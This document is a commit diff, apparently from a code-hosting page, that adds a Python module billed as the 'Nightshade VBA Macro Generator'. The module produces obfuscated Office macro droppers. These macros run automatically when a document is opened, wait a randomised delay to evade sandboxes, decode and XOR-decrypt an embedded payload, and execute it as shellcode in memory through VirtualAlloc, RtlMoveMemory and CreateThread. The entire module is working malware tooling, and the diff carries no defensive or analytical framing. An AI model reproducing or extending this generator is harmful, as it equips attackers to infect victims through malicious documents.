import zlib, base64
|
||||
compressed = zlib.compress(raw.encode(), 9)[2:-4] # strip zlib header
|
||||
return base64.b64encode(compressed).decode()
|
||||
+114
@@ -0,0 +1,114 @@
|
||||
"""
|
||||
Nightshade VBA Macro Generator.
|
||||
Generates obfuscated VBA with Win32 API calls for in-memory execution.
|
||||
"""
|
||||
from ..core.obfuscation import VBAObfuscator
|
||||
|
||||
|
||||
class VBAPayloadFactory:
|
||||
"""Generate VBA macros for Excel / Office document droppers."""
|
||||
|
||||
def __init__(self, encrypted_payload_b64: str):
|
||||
self._payload = encrypted_payload_b64
|
||||
|
||||
def generate(self) -> str:
|
||||
"""Produce an obfuscated VBA macro that decrypts and injects the payload."""
|
||||
rv = VBAObfuscator.random_var
|
||||
|
||||
# Pre-generate all variable names so we can reference them
|
||||
v = [rv() for _ in range(30)]
|
||||
(
|
||||
v1, v2, v3, v4, v5, v6, v7, v8, v9, v10,
|
||||
v11, v12, v13, v14, v15, v16, v17, v18, v19, v20,
|
||||
v21, v22, v23, v24, v25, v26, v27, v28, v29, v30,
|
||||
) = v[:30]
|
||||
|
||||
vba = f"""
|
||||
Private Declare PtrSafe Function CreateThread Lib "kernel32" _
|
||||
(ByVal lpThreadAttributes As Long, ByVal dwStackSize As Long, _
|
||||
ByVal lpStartAddress As LongPtr, lpParameter As LongPtr, _
|
||||
ByVal dwCreationFlags As Long, lpThreadId As Long) As LongPtr
|
||||
|
||||
Private Declare PtrSafe Function VirtualAlloc Lib "kernel32" _
|
||||
(ByVal lpAddress As LongPtr, ByVal dwSize As Long, _
|
||||
ByVal flAllocationType As Long, ByVal flProtect As Long) As LongPtr
|
||||
|
||||
Private Declare PtrSafe Function RtlMoveMemory Lib "kernel32" _
|
||||
(ByVal destAddr As LongPtr, ByVal sourceAddr As LongPtr, _
|
||||
ByVal length As Long) As Long
|
||||
|
||||
Private Declare PtrSafe Function Sleep Lib "kernel32" _
|
||||
(ByVal dwMilliseconds As Long) As Long
|
||||
|
||||
Sub Auto_Open()
|
||||
{v1} = Initialize
|
||||
End Sub
|
||||
|
||||
Sub Workbook_Open()
|
||||
{v1} = Initialize
|
||||
End Sub
|
||||
|
||||
Private Function Initialize() As Boolean
|
||||
On Error Resume Next
|
||||
Dim {v2} As String
|
||||
Dim {v3} As Byte()
|
||||
Dim {v4} As Byte()
|
||||
|
||||
' OPSEC delay
|
||||
{v5} = 3000 + (Rnd * 2000)
|
||||
Sleep {v5}
|
||||
|
||||
{v2} = "{self._payload}"
|
||||
{v3} = Base64Decode({v2})
|
||||
{v4} = XORDecrypt({v3})
|
||||
|
||||
If UBound({v4}) > 0 Then
|
||||
ExecuteInMemory {v4}
|
||||
End If
|
||||
|
||||
Initialize = True
|
||||
End Function
|
||||
|
||||
Private Function Base64Decode(ByVal {v6} As String) As Byte()
|
||||
Dim {v7} As Object
|
||||
Dim {v8} As Object
|
||||
Set {v7} = CreateObject("MSXML2.DOMDocument.6.0")
|
||||
Set {v8} = {v7}.createElement("tmp")
|
||||
{v8}.DataType = "bin.base64"
|
||||
{v8}.Text = {v6}
|
||||
Base64Decode = {v8}.nodeTypedValue
|
||||
End Function
|
||||
|
||||
Private Function XORDecrypt(ByRef {v9}() As Byte) As Byte()
|
||||
Dim {v10} As Long
|
||||
Dim {v11} As Long
|
||||
Dim {v12} As Byte()
|
||||
|
||||
Dim {v13} As Variant
|
||||
{v13} = Array(42, 137, 91, 23, 198, 55, 12, 78, 201, 34, 167, 89, 200, 11, 66, 254)
|
||||
{v11} = UBound({v13}) - LBound({v13}) + 1
|
||||
|
||||
ReDim {v12}(UBound({v9}))
|
||||
For {v10} = 0 To UBound({v9})
|
||||
{v12}({v10}) = {v9}({v10}) Xor {v13}({v10} Mod {v11})
|
||||
Next {v10}
|
||||
|
||||
XORDecrypt = {v12}
|
||||
End Function
|
||||
|
||||
Private Sub ExecuteInMemory(ByRef {v14}() As Byte)
|
||||
Dim {v15} As LongPtr
|
||||
Dim {v16} As LongPtr
|
||||
Dim {v17} As Long
|
||||
|
||||
{v15} = VirtualAlloc(0, UBound({v14}) + 1, &H1000, &H40)
|
||||
|
||||
For {v17} = 0 To UBound({v14})
|
||||
RtlMoveMemory {v15} + {v17}, VarPtr({v14}({v17})), 1
|
||||
Next {v17}
|
||||
|
||||
{v16} = CreateThread(0, 0, {v15}, 0, 0, 0)
|
||||
If {v16} <> 0 Then Sleep 5000
|
||||
End Sub
|
||||
"""
|
||||
return VBAObfuscator.obfuscate_vba(vba)
|
||||
Reference in New Issue
Block a user